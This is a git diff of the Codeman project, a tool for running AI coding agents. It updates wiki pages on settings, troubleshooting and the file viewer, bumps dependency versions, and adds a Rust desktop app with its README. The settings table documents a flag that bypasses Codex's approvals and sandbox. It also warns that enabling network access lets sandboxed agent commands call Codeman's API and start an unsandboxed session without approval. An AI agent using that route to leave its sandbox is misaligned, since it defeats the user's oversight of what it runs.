| Default Codex reasoning effort | Reasoning level for new local Codex sessions; empty uses Codex's own config. |
| Bypass approvals and sandbox | Starts new Codex sessions with `--dangerously-bypass-approvals-and-sandbox`. Read [Agent CLIs](Agent-CLIs) before enabling. |
| Allow network access | Starts new local Codex sessions (Run menu, Resume and the API; not scheduled jobs) with `sandbox_workspace_write.network_access=true`, so commands in Codex's workspace-write sandbox can use the network. The [Codeman Skill](Codeman-Skill) needs it to reach this server from a Codex session. It applies to every such session, and those commands can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even when a password is set: see [Security](Security#what-codeman-does-not-protect-against). It applies where Codex runs the folder in workspace-write (a project you trusted in Codex) and does not change Codex's sandbox mode: a folder Codex runs read-only keeps the network closed, and Codex asks for approval per command. Synced, off by default; forced off for users without the privileged-commands grant in multi-user mode. |
| Animated status effects | Cosmetic. |
| MCP server sync | Copies the MCP servers each installed, enabled CLI (Claude, Codex, Gemini, OpenCode, Antigravity) and GitHub Copilot CLI has into the others' own config files. Synced, off by default, admin only in multi-user mode. Turn it on and **Apply** or **Save** (Apply keeps Settings open), then **Preview** shows what would change and **Sync now** applies it. It only adds missing servers, keeps the previous file as `.codeman-bak`, and leaves a file that receives env values or headers readable by you only. A config dir moved by `CODEX_HOME`, `CLAUDE_CONFIG_DIR`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME` or `COPILOT_HOME` in Codeman's own environment is followed. |
+33
View File
@@ -287,6 +287,39 @@ Two extras depending on the device:
- **Phones**: tapping the "C" logo gives a session overview instead: NEEDS YOU first, then
current sessions, then past ones. On by default.
### Opened outside Codeman
A tmux session you started by hand (`tmux new -s work`, then `claude`, or just a shell) shows
up on the home screen under **Opened outside Codeman**, on the desktop and in the phone
overview. **Open** wraps it in a tab, and **Go to tab** on a row means it already has one.
| Where it runs | How it is found |
| -------------------- | ---------------------------------------------------------------------------- |
| **This machine** | Automatically, every few seconds while the home screen is up. |
| **A container** | The `⟳` button in the block's header scans the containers behind your Docker cases. |
| **Over SSH** | The same button scans your saved remote hosts. |
The container and SSH scan costs one connection per target, so it runs when you press the
button, and **Rescan** runs it again.
- **Closing the tab only detaches.** The session keeps running, and the close dialog offers no
kill. Opening one types nothing into it.
- **Codeman did not start it,** so it will not drive it: respawn, Ralph, auto-clear,
auto-compact, auto-resume, custom model endpoints, prompt uploads and the image watcher are
refused, the git panel shows nothing, and Edit history says it is not available.
- **The tab opens on the session's first window,** and the row describes that same window.
- **It joins like a second tmux client.** While the tab is open it can resize a session
someone else is viewing, the way any second client does, and that reverses when it closes.
- **A short line in the block says why a session is missing.** One whose name holds unusual
characters is skipped, and so is one named so that tmux reads the name as something else (it
starts with `=`, `@` or `%`, or is a bare `~`). Rename it with `tmux rename-session`. A tmux
server that stopped answering costs only its own sessions. One case gets no line: a session
named `codeman-*` or `claudeman-*`, or on a Codeman socket, counts as Codeman's own.
Only sockets in tmux's own folder are scanned, so `tmux -L <name>` is found and
`tmux -S /custom/path` is not. In multi-user mode the block is for admins, since it shows
everyone's processes.
## Panels
| Panel | Opened from | Covered in |
+41 -1
View File
@@ -221,6 +221,17 @@ Things to try:
Codex with mouse tracking on gets the wheel forwarded like fullscreen Claude; otherwise
it pages its transcript or scrolls locally, while `Shift+Wheel` always uses local scrollback.
### The wheel does nothing in a pi session
Fullscreen pi, the default since pi 1.0.0, scrolls its own transcript, so the wheel is
forwarded to it while it has mouse tracking on. If the wheel does nothing, turn off
**Wheel Scrolls Local History**: that setting keeps the wheel on a local buffer pi leaves
empty, and pi has no paging fallback. `PageUp` and `PageDown` on a keyboard still reach pi.
Codeman strips pi's mouse enables, so a drag selects text in the browser rather than using
pi's own selection or scrollbar drag. With `tuiMode: regular` pi is inline and the wheel
scrolls local history.
### Selected text is invisible on a light skin
Update. Every skin named its selection colour under a key xterm renamed in v5, so the four
@@ -246,6 +257,20 @@ If you are sending input over the API instead, your payload must end with `\r` o
is ever sent. The request still succeeds and the text sits unsubmitted in the composer. See
[Driving Codeman From An Agent](Driving-Codeman-From-An-Agent).
### Persian, Arabic or Hebrew looks wrong in the terminal
The terminal is xterm.js, which does not support right-to-left text yet
([xtermjs/xterm.js#701](https://github.com/xtermjs/xterm.js/issues/701)). It puts each
character in its own cell from left to right, so a sentence comes out reversed, and the
default WebGL renderer also draws the letters unjoined. Codeman cannot fix that without
replacing the terminal.
Read the answer in **Last Response** instead, where it lays out right to left, or open a
Markdown file in the [File Viewer](Working-With-Files). On desktop, turning off **WebGL
Renderer** in **App Settings → Terminal & Input** and reloading joins the letters, so each
word reads correctly, but the words of a sentence still run left to right. Phones already
use that renderer.
## Mobile
### The keyboard covers the terminal, or scroll position jumps
@@ -329,6 +354,21 @@ Start the stack with `bash docker/Start-Codeman.sh` rather than a plain `docker
and update: since 1.29.0 the entrypoint corrects a root-owned bind mount before dropping
privileges. See [Running As A Service](Running-As-A-Service).
### Compose: `CODEMAN_PASSWORD is still the example value "changeme"`
`Start-Codeman.sh` and `Update-Codeman.sh` refuse that password before they build or stop
anything, because the container publishes its port on every interface and holds the Docker
socket, so whoever signs in controls Docker on the host. Set a real password in `docker/.env`
and run the script again.
### Compose: `Codeman did not come up`, or no answer after 180 seconds
`Start-Codeman.sh` waits for the server after `up -d`. `did not come up` means the container
exited, restarted or went unhealthy, and the script prints its last log lines. `has not
answered after 180 seconds` means it is still running but silent, so on a slow host it may
just need longer: follow it with `docker compose logs -f codeman` from `docker/`. Either way
the script exits 1, and `--no-wait` skips the wait for scripts that check on their own.
### A remote SSH session dropped and did not come back
A bounded-backoff watcher reattaches dropped sessions, and it is on by default. Intentional
@@ -353,7 +393,7 @@ On an HTTPS install, add `-k` to the curl commands and use the `https://` URL.
Open an [issue](https://github.com/Ark0N/Codeman/issues) with:
- OS and version.
- Install method: installer, npm, or git clone.
- Install method: installer (with or without git), npm, or git clone.
- `codeman --version`.
- Browser and version, if the problem is in the UI.
- Which CLI the session was running, and its version.
+3 -1
View File
@@ -77,7 +77,9 @@ Turning on either starts the watcher.
**Last Response** (header button, opt-in) renders the agent's last answer as scrollable text
rather than terminal output. It exists mostly for phones, where reading a long answer in a
terminal viewport is painful. **More** loads additional context.
terminal viewport is painful. **More** loads additional context. Persian, Arabic and Hebrew
answers read right to left here, which the terminal cannot do, while code and the file paths
it links stay left to right.
## After the fact
+55 -26
View File
@@ -6,15 +6,25 @@ until you get home.
## The File Viewer
A panel that browses the active session's working directory. Its header button is on by
default; if it is missing, re-enable it in **App Settings → Header & Panels**.
A panel that browses the active session's working directory, or the git worktree its agent
moved into ([Git Worktrees](Git-Worktrees#when-an-agent-moves-into-a-worktree)). Its header
button is on by default; if it is missing, re-enable it in **App Settings → Header & Panels**.
The panel and its search list up to 5,000 files and folders per load, shallow levels first and
taking turns between folders, so one huge folder cannot use up that limit before the ones after it,
or the folders inside it, get a turn. They also stop opening folders after reading 250,000 entries,
so a workspace with several enormous folders can still leave later ones unread. When a workspace is
bigger than either limit the status line says `(truncated)`, and an expanded folder the scan did
not finish shows **Not fully scanned** rather than looking empty. A folder that does not answer,
such as a network mount that went away, is skipped rather than waited on and is marked the same way,
so a search can miss what is inside it. The panel's Refresh button tries it again.
It renders what it can:
| Kind | Behaviour |
| ------------------------ | ------------------------------------------------------------------------- |
| Text and code | Plain preview with Lines (line numbers) and Wrap toggles in the header. Long files are truncated in plain preview. |
| Markdown | Rendered by default: headings, tables, code blocks with copy buttons, images and links relative to the file (root-relative ones resolve from the workspace root, as on GitHub). Links to another heading of the same file (`[Install](#installation)`) scroll to it, with GitHub's heading names (lower-case, punctuation dropped, repeats numbered `-1`, `-2`), and never leave the page. Opened from an attachment card, where the file's folder is unknown, relative images show their alt text and relative links show as plain text. The MD pill in the header flips to source. |
| Markdown | Rendered by default: headings, tables, code blocks with copy buttons, images and links relative to the file (root-relative ones resolve from the workspace root, as on GitHub). Links to another heading of the same file (`[Install](#installation)`) scroll to it, with GitHub's heading names (lower-case, punctuation dropped, repeats numbered `-1`, `-2`), and never leave the page. Opened from an attachment card, where the file's folder is unknown, relative images show their alt text and relative links show as plain text. Persian, Arabic and Hebrew read right to left, each block following its own first letter, while code stays left to right. The MD pill in the header flips to source. |
| Images | Inline. |
| Audio and video | Inline with a working scrub bar, because range requests are supported. |
| Spreadsheets (`.xlsx`) | Read-only grid, parsed in your browser (never on the server), up to 10 MB. `.xls` and `.ods` are download only. |
@@ -126,9 +136,11 @@ can send what it can read to any host, open HTML only from sources you trust, as
your own desktop. The **Page**
pill in the viewer header switches to the source view (where **Edit** works as for any text
file), and the viewer falls back to source on its own when a page cannot be rendered: a remote
(SSH) case, an HTML file inside a hidden folder, or one sitting directly in a broad folder such
as your home folder or `/tmp` (the page may read the files in its own folder tree, so move it
into a folder of its own). The raw file routes still serve HTML as a download only.
(SSH) case, an HTML file inside a hidden folder (which includes `.claude/worktrees/<name>` after
an agent [moved into a worktree](Git-Worktrees#when-an-agent-moves-into-a-worktree)), or one
sitting directly in a broad folder such as your home folder or `/tmp` (the page may read the
files in its own folder tree, so move it into a folder of its own). The raw file routes still
serve HTML as a download only.
Text previews are capped at the first 500 lines, fetched as a partial read, so clicking a
one-gigabyte log does not try to paint one.
@@ -147,8 +159,8 @@ session uses: one `realpath` plus `stat` probe for the file and the workspace ro
streamed `cat` (or a slice of it, so video seeking works). Symlinks are resolved on the host
that can resolve them, the size cap applies to the remote size before a byte is requested,
and an unreachable host answers 502 rather than pretending the file is missing. Nothing is
ever copied onto the Codeman host, and a same-named local file is never served under a
remote name.
ever copied onto the Codeman host, apart from the diffs the [edit history](#edit-history)
stores, and a same-named local file is never served under a remote name.
Not available over ssh, and said so with a 400 instead of a misleading 404: editing in
place, Office previews and generated thumbnails (both need the bytes on the server's disk),
@@ -157,30 +169,38 @@ their workspace is bind-mounted at the same path.
## The path picker
For choosing a path rather than typing one. It appears in two places:
For choosing a path rather than typing one. It appears in these places:
- **Browse** in **Add Case → Link Existing**.
- **Browse** in **Add Case → Create New**, under **Create in a custom folder**.
- **Browse** in **Add Case → Clone Repo**, under **Clone into a custom folder**.
- **Browse** on the folder fields of **Add Case → Docker**.
- The **📁 Path** key on the mobile keyboard bar.
It browses one directory at a time and can show hidden entries on request. The current
folder is an editable field: type or paste a path and press Enter (or **Go**) to jump
straight there, and a full file path lands in its folder with that file selected. The
**Sort** control orders each listing by name or by modified time (newest first is the
quick way to the file an agent just wrote), with folders always ahead of files; the
choice is remembered per device. The picker inserts the path into your prompt
**without** pressing Enter, so nothing is submitted by accident. Its sibling **⌫ All**
key clears the unsent prompt, and never sends the agent's `/clear` command.
It browses one directory at a time and can show hidden entries on request (the Docker
**Container Workdir** picker always lists them). The current folder is an editable
field: type or paste a path and press Enter (or **Go**) to jump straight there, and a
full file path lands in its folder with that file selected. The **Sort** control orders
each listing by name or by modified time (newest first is the quick way to the file an
agent just wrote), with folders always ahead of files; the choice is remembered per
device. A **Browse** button fills the field beside it. The **📁 Path** key inserts the
path into your prompt **without** pressing Enter, so nothing is submitted by accident.
Its sibling **⌫ All** key clears the unsent prompt, and never sends the agent's `/clear`
command.
In **Link Existing**'s picker, **+📁** (New folder) makes a folder inside the folder you
are viewing and selects it. Names use letters, numbers, spaces and `_ - . ~` (not starting
with a dot or `~`). The cases folder is refused, since every folder there is already a
case: use **Add Case → New Case** instead.
In the **Link Existing**, **Create New** (custom folder) and **Clone Repo** (custom folder)
pickers, **+📁** (New folder) makes a folder inside the folder you are viewing and selects
it. Names use letters, numbers, spaces and `_ - . ~` (not starting with a dot or `~`). The
cases folder is refused, since every folder there is already a case: pick a folder outside
it, or make the case with **Add Case → Create New** or **Clone Repo** (no custom folder).
This is a separate file-serving surface from the viewer, with its own rules: it allowlists
your home directory, the cases directory, and anything in `CODEMAN_FILE_PICKER_ROOTS`, and
blocks sensitive trees. In multi-user mode a non-admin gets only their own user space as a
root, because per-user spaces live inside the home directory and a home-directory root would
expose everyone.
expose everyone. The Docker **Container Workdir** picker lists the inside of the container
instead, read-only, so these host rules do not apply to it; it is admin-only in multi-user
mode.
## Files into a session
@@ -306,20 +326,29 @@ Click it for a draggable window listing the active session's edits, newest first
first catches up on the ones it had not read yet. **Load older** then goes back within the new
conversation.
It works for local Claude sessions only. Remote (SSH), Docker and other CLIs' sessions say so instead.
It works for Claude sessions, local and remote (SSH). Docker sessions, other CLIs' sessions and
tmux sessions opened outside Codeman say so instead.
A remote session's images show no thumbnail (each would be one more SSH read); click one to
preview it. A remote host that is asleep is never woken for the history: the window shows the
stored edits with the SSH error on top.
How it reads:
- **Only while you look.** The history is read from the session's Claude transcript when you open
the window, and again after each tool call that can change files and at the end of each turn,
while it stays open on that session. A closed window reads nothing, and Codeman does no work in
the background for sessions nobody looks at.
while it stays open on that session (a remote session at the end of each turn only: its host
sends no tool events). A closed window reads nothing, and Codeman does no work in the
background for sessions nobody looks at.
- **The transcript is found through the session's hooks.** Each prompt tells Codeman where the
session's transcript is. Right after a server restart, before the next prompt, Codeman looks in
the session's `CLAUDE_CONFIG_DIR` if you set one for it in Codeman, else in the default config
directory. A `CLAUDE_CONFIG_DIR` set outside Codeman (in a shell profile or a wrapper script)
is only known after the next prompt; until then the window says "No transcript found for this
session yet".
session yet". A remote session's transcript is looked up on its host over SSH: the
conversation its Claude writes now, else the most recently written of the one the window
showed last and the session's own, under the remote user's `~/.claude`, or under
`CLAUDE_CONFIG_DIR` when the host sets it for every SSH command (`.zshenv`,
`/etc/environment`); one set only in `.profile`, `.bash_profile` or `.zshrc` is not seen.
- **The history is stored, and it holds secrets.** Every diff an agent wrote is copied to
`~/.codeman/edit-history/<session-id>.json`, including API keys or `.env` contents it edited. The file is
readable by your user only, capped at 500 edits and 4 MiB of diff text per session (the oldest
+1139 -78
View File
File diff suppressed because it is too large. Load diff
+12 -30
View File
@@ -1,12 +1,12 @@
{
"name": "aicodeman",
"version": "1.48.0",
"version": "1.49.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "aicodeman",
"version": "1.48.0",
"version": "1.49.0",
"hasInstallScript": true,
"license": "MIT",
"workspaces": [
@@ -63,7 +63,7 @@
"exceljs": "4.4.0",
"fflate": "0.8.3",
"pixelmatch": "^6.0.0",
"playwright": "^1.58.0",
"playwright": "^1.64.1",
"pngjs": "^7.0.0",
"postcss": "^8.5.15",
"prettier": "^3.4.0",
@@ -9736,50 +9736,32 @@
}
},
"node_modules/playwright": {
"version": "1.60.0",
"resolved": "https://registry.npmjs.org/playwright/-/playwright-1.60.0.tgz",
"integrity": "sha512-hheHdokM8cdqCb0lcE3s+zT4t4W+vvjpGxsZlDnikarzx8tSzMebh3UiFtgqwFwnTnjYQcsyMF8ei2mCO/tpeA==",
"version": "1.64.1",
"resolved": "https://registry.npmjs.org/playwright/-/playwright-1.64.1.tgz",
"integrity": "sha512-HCrVhHr5QQuwYoswEUGTb7gGp522yflbv/ST8nF4sFWGuLjQCt17Q/EubpGGSNKYn1tsTCPZxqHhHCfVURu7UA==",
"dev": true,
"license": "Apache-2.0",
"dependencies": {
"playwright-core": "1.60.0"
"playwright-core": "1.64.1"
},
"bin": {
"playwright": "cli.js"
},
"engines": {
"node": ">=18"
},
"optionalDependencies": {
"fsevents": "2.3.2"
"node": ">=20"
}
},
"node_modules/playwright-core": {
"version": "1.60.0",
"resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.60.0.tgz",
"integrity": "sha512-9bW6zvX/m0lEbgTKJ6YppOKx8H3VOPBMOCFh2irXFOT4BbHgrx5hPjwJYLT40Lu+4qtD36qKc/Hn56StUW57IA==",
"version": "1.64.1",
"resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.64.1.tgz",
"integrity": "sha512-BC4s8y6SEVA6Q1rSxZTto8hI1KUI3xXlHGZgvGqP4IqPdI/a6FX9H29IDNz7vKo9l21b6LfYosScPL6M3xxyDQ==",
"dev": true,
"license": "Apache-2.0",
"bin": {
"playwright-core": "cli.js"
},
"engines": {
"node": ">=18"
}
},
"node_modules/playwright/node_modules/fsevents": {
"version": "2.3.2",
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
"integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
"dev": true,
"hasInstallScript": true,
"license": "MIT",
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": "^8.16.0 || ^10.6.0 || >=11.0.0"
"node": ">=20"
}
},
"node_modules/pngjs": {
+2 -2
View File
@@ -1,6 +1,6 @@
{
"name": "aicodeman",
"version": "1.48.0",
"version": "1.49.0",
"description": "Self-hosted mission control for AI coding agents: run Claude Code, Codex, OpenCode, Gemini, DeepSeek, Grok and more 24/7 in tmux, from any device.",
"mcpName": "io.github.Ark0N/codeman",
"type": "module",
@@ -133,7 +133,7 @@
"exceljs": "4.4.0",
"fflate": "0.8.3",
"pixelmatch": "^6.0.0",
"playwright": "^1.58.0",
"playwright": "^1.64.1",
"pngjs": "^7.0.0",
"postcss": "^8.5.15",
"prettier": "^3.4.0",
+2
View File
@@ -0,0 +1,2 @@
target/
dist/
+3134
View File
File diff suppressed because it is too large. Load diff
+87
View File
@@ -0,0 +1,87 @@
[package]
name = "codeman-desktop"
version = "0.1.0"
edition = "2021"
rust-version = "1.90"
description = "Codeman Desktop: a small native window for a Codeman server"
license = "MIT"
publish = false
[[bin]]
name = "codeman-desktop"
path = "src/main.rs"
[dependencies]
# Window + event loop (tao), the system web view (wry: WKWebView on macOS,
# WebView2 on Windows, WebKitGTK on Linux) and native menus (muda). Tauri is
# built on these three; using them directly keeps the app small and gives us
# `load_url_with_headers`, which Tauri's navigate() does not have (see README).
tao = "0.37"
wry = { version = "0.57", features = ["devtools"] }
muda = "0.21"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
url = "2"
base64 = "0.22"
dirs = "6"
# The reachability probe. platform-verifier = the OS trust store, the same one
# WKWebView uses, so the probe and the window agree on which certificates pass.
ureq = { version = "3", features = ["platform-verifier"] }
[target.'cfg(target_os = "macos")'.dependencies]
security-framework = "3"
# JavaScript dialogs, HTTP Basic challenges, clearing cookies and the window's
# content size (src/macos.rs). The versions wry already pulls in, so no new
# crate is added.
objc2 = { version = "0.6.5", default-features = false, features = ["std"] }
block2 = { version = "0.6.2", default-features = false, features = ["std"] }
objc2-foundation = { version = "0.3.2", default-features = false, features = [
"std",
"objc2-core-foundation",
"block2",
"NSDate",
"NSGeometry",
"NSObject",
"NSOperation",
"NSRange",
"NSSet",
"NSString",
"NSURL",
"NSURLAuthenticationChallenge",
"NSURLCredential",
"NSURLProtectionSpace",
"NSURLRequest",
"NSURLResponse",
"NSURLSession",
] }
objc2-app-kit = { version = "0.3.2", default-features = false, features = [
"std",
"objc2-core-foundation",
"NSAlert",
"NSApplication",
"NSButton",
"NSControl",
"NSResponder",
"NSTextField",
"NSView",
"NSWindow",
] }
objc2-web-kit = { version = "0.3.2", default-features = false, features = [
"std",
"block2",
"objc2-app-kit",
"WKFrameInfo",
"WKNavigationDelegate",
"WKSecurityOrigin",
"WKUIDelegate",
"WKWebView",
"WKWebsiteDataRecord",
"WKWebsiteDataStore",
] }
[profile.release]
opt-level = "s"
lto = true
codegen-units = 1
strip = true
panic = "abort"
+360
View File
@@ -0,0 +1,360 @@
# Codeman Desktop
A small native app that opens Codeman in its own window. Double-click it, and
it runs Codeman on this Mac (installing it first if it is not there) or
connects to Codeman on another machine (installing it there over SSH if
needed), and Codeman fills the window. `⌃⌘F` puts it in full screen.
macOS first: the app runs on 11.3 or later, and Codeman's own page needs the
WebKit of Safari 16.4 (see Known limits). The same code is meant to build for
Windows and Linux later.
- **Size:** 4.6 MB for the universal `Codeman.app` (Apple Silicon + Intel), 3 MB as a `.dmg` (measured on the first build).
- **Stack:** Rust with [tao](https://crates.io/crates/tao) (window and event loop),
[wry](https://crates.io/crates/wry) (the system web view: WKWebView on macOS) and
[muda](https://crates.io/crates/muda) (native menus), plus [objc2](https://crates.io/crates/objc2)
for the two things wry leaves out on macOS (JavaScript dialogs, HTTP Basic login).
No bundled browser and no Node in the app.
- **Server:** unchanged. The app is a client of Codeman's web UI, like a browser tab.
## Why it is cheap
Codeman is already a web app, so the desktop app is a native window around the
operating system's own web view. An Electron build of the same thing would ship
a whole Chromium (around 150 MB). The native side only adds what a browser tab
cannot do.
## What it does (v0.1)
| | |
| --- | --- |
| **This Mac** | The connect screen's first tab looks for Codeman on this Mac and offers what fits: *Open Codeman* when it runs, *Start Codeman* when it is installed but stopped, *Install Codeman on this Mac* when it is not there. The address comes from Codeman's LaunchAgent (port, sub-path, HTTPS). The tab also finds every Codeman server of yours that already runs on this Mac (with `ps` and `lsof`: a `codeman web --port 4000` in a terminal, a beta instance beside the installed one) and recommends connecting to it. Each one's address is worked out from its listening socket and its command line (`127.0.0.1` for a bind to loopback or to every interface, its own address for a bind to one, `https` with `--https`, the path of `--base-url`), and each is asked once whether Codeman answers there. When nothing answers at the usual address (the LaunchAgent's, or `http://127.0.0.1:3000` without one), *Open Codeman* is for the first found server that does; when none of them can be opened, the tab says *Codeman is already running on this Mac* and lists them. Next to a Codeman that answers, the others are listed under *Also running on this Mac*. A row shows the address, the version, and a *Connect* button, or the reason the app cannot open that one (HTTPS with Codeman's own certificate, no answer). *Connect* is the connect of the Another machine tab with that address filled in: the same check, the login saved for it, the same entry under recent servers. Finding a server connects to nothing by itself. The tab never offers to start a second server, which would take over the first one's sessions, and Start refuses while one runs. A server that runs but listens nowhere yet (the first seconds after login, a restart) shows as *starting*: the tab looks again every second and, when a connect to this Mac had just been refused, opens Codeman once it is up. Start asks launchd to run the LaunchAgent (`kickstart`, or `bootstrap` when it is not loaded), so the server keeps its own settings and supervision; without a LaunchAgent it runs `codeman web -d`. The login comes from where Codeman keeps it: the LaunchAgent's `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`, else `~/.codeman/.env` (what Codeman's command-line clients read), `admin` by default. It goes only to `127.0.0.1` on that Codeman's port, only while one of your own Codeman processes holds that port, is never saved to the Keychain, and never reaches the page. Whether Codeman is installed is looked up in its files and processes, then the login shell; the interactive profile (nvm in `.zshrc`, say) only on *Check again*. Install sets Codeman up from the app itself, with no Terminal and no password (see Decisions). It fetches the installer, asks it what is on this Mac, then asks two things: which coding agent to install, only when this Mac has none (the list comes from the installer, and *Skip for now* is there), and who can reach Codeman (this Mac only, or the local network with a password). A checklist follows the install, the installer's output is one click away, and Cancel stops it; installing again picks up where it stopped. Codeman runs as a LaunchAgent, so it keeps running when the app quits and starts at login. Port 3000 is used unless something else answers there, then the next free one. Closing the app does not stop an install: it runs on its own, and the app picks it up when it opens again. When it is done the app looks every 3 seconds and opens Codeman as soon as it answers; it stops looking after the first answer, after 30 minutes, or 90 seconds after a finished install whose server never answered (then it offers Start). *Install in Terminal instead* runs the installer in a Terminal window, for what the app cannot do (see Known limits): it may ask for the Mac password (Homebrew) and asks its own questions there. The app offers it by itself on a Mac where the graphical install cannot finish. An install still running in Terminal is recognized by its process, so the tab waits for it instead of offering Install twice. *Add a coding agent*, on this tab and in the app menu whenever Codeman is on this Mac, is the same chooser after the install: pick one agent, watch it install, open Codeman. It needs no password, leaves a running Codeman alone, and can be cancelled or left running like an install. After *Skip for now* the app says Codeman has no agent yet and offers this before it opens Codeman. |
| **Another machine** | The second tab connects to a server by address (below). *Codeman is not installed there yet?* opens Terminal, connects with `ssh -t` and runs Codeman's installer on that machine, which asks its questions there; the app then suggests `http://<host>:3000` and the installer prints the real address at the end. The SSH login is checked to the characters of a user and host name (no option can be slipped in) and may carry a `:port`. The remote command runs under `bash -o pipefail`, so a failed download fails the install instead of reporting success. The same tab shows the one-line install command, with a Copy button, to run on a machine by hand. |
| **Connect screen** | Server address, recent servers, a login for password-protected servers (password kept in the macOS Keychain), auto-connect at launch. An address typed without `http://` or `https://` gets `http://`, except a tailnet name with no port (`machine.tailnet.ts.net`, which is `tailscale serve`), which gets `https://`. It explains each failure: nothing listening; wrong password; too many failed logins (the password field stays open, since a single-user Codeman accepts the right password even then); unknown host name; an address this Mac cannot reach (with a pointer to the Local Network setting); an `http://` address on a port that only speaks HTTPS; an untrusted certificate; a redirect, with a button for the suggested `https://` address; not a Codeman server. A multi-user account that must change its password connects, and Codeman's own dialog asks for the new one. If the server page has not started showing within 15 seconds, or you press Cancel while it opens, the connect screen comes back with a notice. A login that would cross the network over plain `http://` to another machine says so. Return opens or starts the Codeman on this Mac (or connects to the one found here, when that is the tab's main button) and Esc cancels a connect, as in a Mac dialog (Install always takes a click). On a Mac whose WebKit is too old for Codeman it says so and Connect stays off (see Known limits). |
| **Start Codeman** | On the This Mac tab, and when `http://127.0.0.1:<port>` or `http://localhost:<port>` answers nothing, one click runs `codeman web -d` (or `~/.codeman/app`) with your login shell's environment, so the server gets your real PATH (Homebrew, nvm) for the agents it spawns. zsh, bash and other POSIX shells run the start themselves; fish, nu, xonsh, tcsh and other shells only report their environment, and the start runs under `/bin/sh` with it. Offered for those two addresses only: `codeman web -d` listens on 127.0.0.1. |
| **Login** | The app answers the server's HTTP Basic login requests itself, with the login you connected with, so the page keeps working after the server restarts (a restart forgets every session cookie). It answers only for Codeman's own pages under the server's base path: a web tab or a rendered HTML file that asks for a Basic login of its own is left to WebKit and never gets your Codeman password. WebKit keeps no copy of the login, so every request for it gets the current one. Each connect first clears the app's cookies, so connecting to the same server as another user really switches users (local storage, where Codeman keeps its per-device settings, stays; a dashboard in a web tab that keeps its own login in a cookie may ask for it again). A page that still gets a 401 reloads once. If the server refuses the login (the password was changed, say), the app does not keep sending it: it checks it with a single probe, and only if the server refuses that too does the connect screen come back with a notice. That does not take focus from the app you are in: if Codeman is in the background, its Dock icon bounces. |
| **Dialogs** | Codeman's `confirm()`, `prompt()` and `alert()` (Delete case, Kill all sessions, Update Codeman, discarding unsaved edits, ...) show as native macOS dialogs. wry implements none of them, and without them WKWebView answers Cancel without showing anything. Each dialog's first line names the page it comes from, and says so when that is an embedded frame (a web tab, a rendered HTML preview), so a frame cannot pass its text off as Codeman's. |
| **Full screen** | `⌃⌘F` or the green button. The last state is restored at launch; *Always Open in Full Screen* forces it. Leaving full screen returns to the saved window size and position. |
| **Menus** | A real Edit menu (without one, `⌘C`/`⌘V` do nothing in a WKWebView), Reload `⌘R`, Switch Server `⇧⌘O`, Developer Tools `⌥⌘I`. The page sees every key first, so Codeman's own shortcuts keep working. If the main window ends up showing a raw file instead of Codeman, `⌘R` takes it back to Codeman. |
| **Pop-outs** | Implements Codeman's existing native-wrapper bridge, `window.CodemanHost` (`openInHostWindow` in `src/web/public/app.js`), so popping out a session or a file preview opens a real app window, and the pop-out icon is on by default. Session and rendered-HTML pop-outs come only from Codeman's own pop-out button. A `window.open` from page script opens only Codeman's file and download windows, without taking keyboard focus, at most 3 at once and then 1 per second. Only Codeman's own pop-out pages become app windows (see Decisions); when the app refuses one, Codeman shows a toast. Each pop-out opens a step down and to the right of the window in use, never exactly on top of another one. A web tab's *Open in new tab* opens the dashboard in your default browser, as it would from a browser tab. |
| **Links** | On Codeman's own pages (the dashboard and session windows), a link to another site opens in your default browser, also on `⌘`-click or a middle click. Pages can send at most 3 links to the browser at once, then 1 per second. Inside a rendered HTML preview or a web tab, a plain link to another site does nothing, while one that asks for a new window (`target="_blank"`, `window.open`) opens in your default browser within the same budget (see Known limits). |
| **Downloads** | Codeman's Download links, and downloads Codeman opens in a new window, save the file to `~/Downloads` whatever its type, and a toast in Codeman names the file. Files the web view cannot display are saved the same way. |
| **A page that stops** | When the web content process of a window ends (a WebKit crash, or macOS taking the process back under memory pressure), the window loads its page again instead of staying blank. A second time within 30 seconds, the main window goes back to the connect screen and a pop-out closes, so a page that cannot stay up never becomes a reload loop. |
| **Window** | Size, position and full-screen state are remembered. A saved window that hangs off the screen it opens on (it was last on a larger display that is gone, say) is pulled back on and shrunk to fit; one whose title bar is on no screen at all opens at the default size instead. Clicking the Dock icon brings back a minimized window. |
## Build (on a Mac)
Needs Rust 1.90 or newer ([rustup](https://rustup.rs); `rustup update` for an older
toolchain) and the Xcode Command Line Tools (`xcode-select --install`).
```bash
cd packages/desktop
cargo test # unit tests
./scripts/bundle-macos.sh # dist/Codeman.app for this Mac's architecture
./scripts/bundle-macos.sh --universal --dmg # Apple Silicon + Intel, plus dist/Codeman-<version>.dmg
open dist/Codeman.app
```
The connect page has its own test, which needs no Mac: from the repository
root, `npm run test:browser -- test/desktop-connect-page.browser.test.ts` drives
`assets/connect.html` in Chromium through every state of both tabs, under the
Content-Security-Policy the app serves it with. It is part of the nightly
browser suite, not of `npm test`.
To try a change to `install.sh` before it is merged, build with
`CODEMAN_DESKTOP_INSTALLER_URL` (where to get the installer) and
`CODEMAN_DESKTOP_INSTALL_BRANCH` (the branch it installs from) set. Both are
read at compile time: a shipped app cannot be pointed at another installer.
The script builds with `--locked` against the committed `Cargo.lock`, targets
the macOS version in `macos/Info.plist` (`LSMinimumSystemVersion`, 11.3), and
takes the binary from where cargo says it wrote it, so `CARGO_TARGET_DIR` and a
cargo config's `build.target-dir` work.
Settings live in `~/Library/Application Support/Codeman/desktop.json`; passwords
in the Keychain under *Codeman Desktop*, one item per username and server. A
`desktop.json` the app cannot read or parse is moved aside, never overwritten:
to `desktop.json.corrupt`, or to the first free name of `desktop.json.corrupt.1`
to `.corrupt.9` when that one is taken, so an earlier copy is kept. If all ten
names are taken, or the file cannot be moved, the app starts with default
settings and saves nothing, which leaves the file where it is. When a server's
username changes (a change of letter case counts), or a server drops off the
recent list (it keeps 8), the Keychain item of the old username is deleted.
## Decisions, and why
**tao + wry + muda directly, not Tauri.** Tauri is built on the same three crates.
